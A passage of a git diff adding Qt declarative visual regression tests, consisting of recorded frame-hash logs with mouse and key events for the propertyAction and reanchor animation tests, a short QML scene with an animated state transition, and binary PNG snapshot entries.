"55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1552 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1568 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1584 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1600 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 109; y: 247 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1616 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1632 + hash: "c91921dba899d7a86de3cd013773889f" + } + Frame { + msec: 1648 + hash: "888c0fc86155e10b5fc577ef6ec5755a" + } + Frame { + msec: 1664 + hash: "7fd61a8910bf7b0d2bf57653a268c5d8" + } + Frame { + msec: 1680 + hash: "f42f5073f90a423adf011d0e168c8a9b" + } + Frame { + msec: 1696 + hash: "a3d89deb6cfa2bbbaa1d7d5b5e5b48d5" + } + Frame { + msec: 1712 + hash: "f10e997d7a17c18251a32d58b018105a" + } + Frame { + msec: 1728 + hash: "09ffb57d5f67edfa34d6aad36a002554" + } + Frame { + msec: 1744 + hash: "01f3a2f5b9815f1397a907b099339360" + } + Frame { + msec: 1760 + hash: "58c0910c49748edd2ef8472960179472" + } + Frame { + msec: 1776 + hash: "cc82c5f7f93c5bc1af1c6c509268566a" + } + Frame { + msec: 1792 + hash: "3ef272c6439b85fbc166375d1b98403c" + } + Frame { + msec: 1808 + hash: "98c576f0900e4b8752d1f951bb6bf391" + } + Frame { + msec: 1824 + hash: "4d66dd64d8736ef50163e08723873478" + } + Frame { + msec: 1840 + hash: "9a5d8455b6763456185625811253e0b1" + } + Frame { + msec: 1856 + hash: "77e85731efa786a2492aae19a87523c6" + } + Frame { + msec: 1872 + hash: "f3199d0c860f1236e0b9472bef8785bc" + } + Frame { + msec: 1888 + hash: "f3199d0c860f1236e0b9472bef8785bc" + } + Frame { + msec: 1904 + hash: "32ccdab249268b01d9f1658a736052f1" + } + Frame { + msec: 1920 + image: "propertyAction.1.png" + } + Frame { + msec: 1936 + hash: "db3010ef552146df938c237f6c92bff5" + } + Frame { + msec: 1952 + hash: "101e8595d0301e88376ec52ba9361f84" + } + Frame { + msec: 1968 + hash: "119d548c59baa7e47266d2ceca663288" + } + Frame { + msec: 1984 + hash: "f141fafe102a0b9a2bf33e8c3fc800ff" + } + Frame { + msec: 2000 + hash: "b01f9ca8d4fbff17b3d48c70898a044d" + } + Frame { + msec: 2016 + hash: "cf67954a2d1b22e8d2cfdc26419bafb8" + } + Frame { + msec: 2032 + hash: "7680b2b5a63dea13d733947297e01355" + } + Frame { + msec: 2048 + hash: "af1c017acf6b3c8cff86c9ceb60db3cb" + } + Frame { + msec: 2064 + hash: "0b23ec51f71fddae5e2238ab5754f1db" + } + Frame { + msec: 2080 + hash: "976643961ecbdc86335180ba812b874e" + } + Frame { + msec: 2096 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2112 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2128 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2144 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2160 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2176 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2192 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2208 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2224 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2240 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2256 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2272 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2288 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2304 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2320 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2336 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2352 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2368 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2384 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2400 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2416 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2432 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2448 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2464 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2480 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2496 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2512 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2528 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2544 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2560 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2576 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2592 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2608 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2624 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2640 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2656 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2672 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2688 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2704 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2720 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2736 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2752 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 109; y: 247 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2768 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2784 + hash: "aeed60899abb6c486a5b1df81f9a0224" + } + Frame { + msec: 2800 + hash: "ab924ae435262e76381c2e4af5d64342" + } + Frame { + msec: 2816 + hash: "d60758fc12471a19d31c85f058f2ded7" + } + Frame { + msec: 2832 + hash: "c62e2956f8eb5d2c8cd76ba05c5929d5" + } + Frame { + msec: 2848 + hash: "f2967ee7e035a9ff258116a2706529f8" + } + Frame { + msec: 2864 + hash: "885c4705c6c29f69c56c44abc1251d75" + } + Frame { + msec: 2880 + image: "propertyAction.2.png" + } + Frame { + msec: 2896 + hash: "f4af6871e522511f95bc4c5abfc2a562" + } + Frame { + msec: 2912 + hash: "b27e1e7e0d90468525309528ccfe2823" + } + Frame { + msec: 2928 + hash: "78e7d84a4466258b40315fe61b7ca15c" + } + Frame { + msec: 2944 + hash: "471013d921d8d6e7468fd6aba0b75c71" + } + Frame { + msec: 2960 + hash: "856048da893c9136ac5740bc89b64128" + } + Frame { + msec: 2976 + hash: "32ccdab249268b01d9f1658a736052f1" + } + Frame { + msec: 2992 + hash: "2264fa3acd979f104633c1301a0efd8f" + } + Frame { + msec: 3008 + hash: "f3199d0c860f1236e0b9472bef8785bc" + } + Frame { + msec: 3024 + hash: "ad899d1ecaa43a5541be7b70413caee5" + } + Frame { + msec: 3040 + hash: "4e652524c992f5ee1b987275ca509728" + } + Frame { + msec: 3056 + hash: "a44b3dec2a016694bc8553a51b29d46c" + } + Frame { + msec: 3072 + hash: "7fbe20346bc3c28c345e0797b55599f3" + } + Frame { + msec: 3088 + hash: "bcff18ad433bb4f08126ee66efb037d1" + } + Frame { + msec: 3104 + hash: "836666c64f73c38e87de95944ff2fe72" + } + Frame { + msec: 3120 + hash: "4379982d23db239b1741b5d72c53e160" + } + Frame { + msec: 3136 + hash: "0ed9476337214e1493c1510b8a4c90f8" + } + Frame { + msec: 3152 + hash: "dab637406577a1924c7dbb30680e1af3" + } + Frame { + msec: 3168 + hash: "dcc79277fdb8966e5a3f2ed1b2fc4292" + } + Frame { + msec: 3184 + hash: "5f207d1dfad4907f200d76104881bf56" + } + Frame { + msec: 3200 + hash: "3434fc7f81e859722585dae97c557864" + } + Frame { + msec: 3216 + hash: "7c775b9be8c5293d4962324574267c22" + } + Frame { + msec: 3232 + hash: "da0ff6955c2e4cd86421bdb9053f56e6" + } + Frame { + msec: 3248 + hash: "a1297d525a3ad41abbbb7c2f15efd4fb" + } + Frame { + msec: 3264 + hash: "5326b220995b2a1eaa308ad10fd353fa" + } + Frame { + msec: 3280 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3296 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3312 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3328 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3344 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3360 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3376 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3392 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3408 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3424 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3440 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3456 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3472 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3488 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3504 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3520 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3536 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3552 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3568 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3584 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3600 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3616 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 3632 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/propertyAction/propertyAction.qml b/tests/auto/declarative/qmlvisual/animation/propertyAction/propertyAction.qml new file mode 100644 index 0000000..e18e770 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/propertyAction/propertyAction.qml @@ -0,0 +1,34 @@ +import Qt 4.6 + +Rectangle { + width: 400; height: 400 + Rectangle { + id: myRect + width: 100; height: 100 + color: "red" + } + MouseArea { + id: clickable + anchors.fill: parent + } + + states: State { + name: "state1" + when: clickable.pressed + PropertyChanges { + target: myRect + x: 50; y: 50 + color: "blue" + } + } + + transitions: Transition { + to: "state1" + reversible: true + SequentialAnimation { + ColorAnimation {} + PropertyAction { properties: "x" } + NumberAnimation { properties: "y"; easing.type: "InOutQuad" } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.0.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.0.png new file mode 100644 index 0000000..454f6c1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.0.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.1.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.1.png new file mode 100644 index 0000000..9dde537 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.1.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.2.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.2.png new file mode 100644 index 0000000..454f6c1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.2.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.3.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.3.png new file mode 100644 index 0000000..454f6c1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.3.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.4.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.4.png new file mode 100644 index 0000000..043b487 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.4.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.5.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.5.png new file mode 100644 index 0000000..79c791d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.5.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.6.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.6.png new file mode 100644 index 0000000..454f6c1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.6.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.7.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.7.png new file mode 100644 index 0000000..454f6c1 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.7.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.8.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.8.png new file mode 100644 index 0000000..a7d6674 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.8.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.qml b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.qml new file mode 100644 index 0000000..a130b75 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.qml @@ -0,0 +1,2471 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 32 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 48 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 64 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 80 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 96 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 112 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 128 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 144 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 160 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 176 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 192 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 208 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 224 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 240 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 256 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 272 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 288 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 304 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 320 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 336 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 352 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 368 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 384 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 400 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 416 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 432 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 448 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 464 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 480 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 496 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 512 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 528 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 544 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 560 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 576 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 592 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 608 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 624 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 640 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 656 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 672 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 688 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 704 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 720 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 736 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 752 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 768 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 784 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 800 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 816 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 832 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 848 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 864 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 880 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 896 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 912 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 928 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 944 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 960 + image: "reanchor.0.png" + } + Frame { + msec: 976 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 992 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1008 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1024 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1040 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1056 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1072 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1088 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1104 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1120 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1136 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1152 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1168 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1184 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1200 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1216 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1232 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1248 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1264 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1280 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1296 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1312 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1328 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1344 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1360 + hash: "213811853dbefdc418099721e3bf8651" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 88; y: 115 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1376 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1392 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1408 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1424 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1440 + hash: "213811853dbefdc418099721e3bf8651" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 88; y: 115 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1456 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 1472 + hash: "eb3eeb37ab7b26692cbf100adfaf3772" + } + Frame { + msec: 1488 + hash: "e1a8cdcb1f3ec097a968b3b20964c6e8" + } + Frame { + msec: 1504 + hash: "44fc52479251327d0612de17ddb056eb" + } + Frame { + msec: 1520 + hash: "fa7e4a910aa60500575a34852c0c7cb8" + } + Frame { + msec: 1536 + hash: "66d205a02e35221e7684ab995acc1312" + } + Frame { + msec: 1552 + hash: "4ebe8dba6d9f3179b610b2298a7484a2" + } + Frame { + msec: 1568 + hash: "9b2582fccffa34fe389ba427ce47619a" + } + Frame { + msec: 1584 + hash: "e6f15478bda9995f82976b9e16659c8e" + } + Frame { + msec: 1600 + hash: "f08df0885fff04819ada6c10b25dd489" + } + Frame { + msec: 1616 + hash: "0f57c152306747cfa27171f1947ca65d" + } + Frame { + msec: 1632 + hash: "89d9c988abd55063e210b81193c6a8f0" + } + Frame { + msec: 1648 + hash: "91e0d0a5d57210c790c2d2399d1f7022" + } + Frame { + msec: 1664 + hash: "267874fdc09459b3e854c06d9ae99a54" + } + Frame { + msec: 1680 + hash: "2f58a508f439c40c6f2bd7da1f30deff" + } + Frame { + msec: 1696 + hash: "1451548d9f0002a6c4765cb616ab7f59" + } + Frame { + msec: 1712 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1728 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1744 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1760 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1776 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1792 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1808 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1824 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1840 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1856 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1872 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1888 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1904 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1920 + image: "reanchor.1.png" + } + Frame { + msec: 1936 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1952 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1968 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 1984 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2000 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2016 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2032 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2048 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2064 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2080 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2096 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 87; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2112 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2128 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2144 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2160 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2176 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2192 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2208 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 87; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2224 + hash: "ad3837dcf3e69274ac2918d796974f29" + } + Frame { + msec: 2240 + hash: "8ceca291e28f52368346f171c2f31664" + } + Frame { + msec: 2256 + hash: "903877286f3ef112e6a661abde5c17bd" + } + Frame { + msec: 2272 + hash: "cc2d15c96571f9328b929f96849c8f9e" + } + Frame { + msec: 2288 + hash: "26e6c03b1b91b725d6e0fe9216a7413e" + } + Frame { + msec: 2304 + hash: "213e8e9905bea32ddb97d38b75cd19cc" + } + Frame { + msec: 2320 + hash: "17d5726a282d42fcde7796be84606fcd" + } + Frame { + msec: 2336 + hash: "f4629bf9f5837f687ae49008c9d28d02" + } + Frame { + msec: 2352 + hash: "fbc927cb136d8d29b2578e78c4793e41" + } + Frame { + msec: 2368 + hash: "c7099e732490dd2f3205986a7c43a165" + } + Frame { + msec: 2384 + hash: "b3b464a8e67fab05109b49604f1ce705" + } + Frame { + msec: 2400 + hash: "7629b2a77f9f87aa0ef2535aa9b8d390" + } + Frame { + msec: 2416 + hash: "6a329c289236782e095cfa6f15409726" + } + Frame { + msec: 2432 + hash: "1cfbf6f4c292e1520b44d84dd59b93a8" + } + Frame { + msec: 2448 + hash: "a8d3d838bffb39053eb705aefcb39c46" + } + Frame { + msec: 2464 + hash: "a56ad66a949e07e3174a58c80145c85e" + } + Frame { + msec: 2480 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2496 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2512 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2528 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2544 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2560 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2576 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2592 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2608 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2624 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2640 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2656 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2672 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2688 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2704 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2720 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2736 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2752 + hash: "213811853dbefdc418099721e3bf8651" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 87; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2768 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2784 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2800 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2816 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2832 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2848 + hash: "213811853dbefdc418099721e3bf8651" + } + Frame { + msec: 2864 + hash: "213811853dbefdc418099721e3bf8651" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 87; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2880 + image: "reanchor.2.png" + } + Frame { + msec: 2896 + hash: "eb3eeb37ab7b26692cbf100adfaf3772" + } + Frame { + msec: 2912 + hash: "e1a8cdcb1f3ec097a968b3b20964c6e8" + } + Frame { + msec: 2928 + hash: "44fc52479251327d0612de17ddb056eb" + } + Frame { + msec: 2944 + hash: 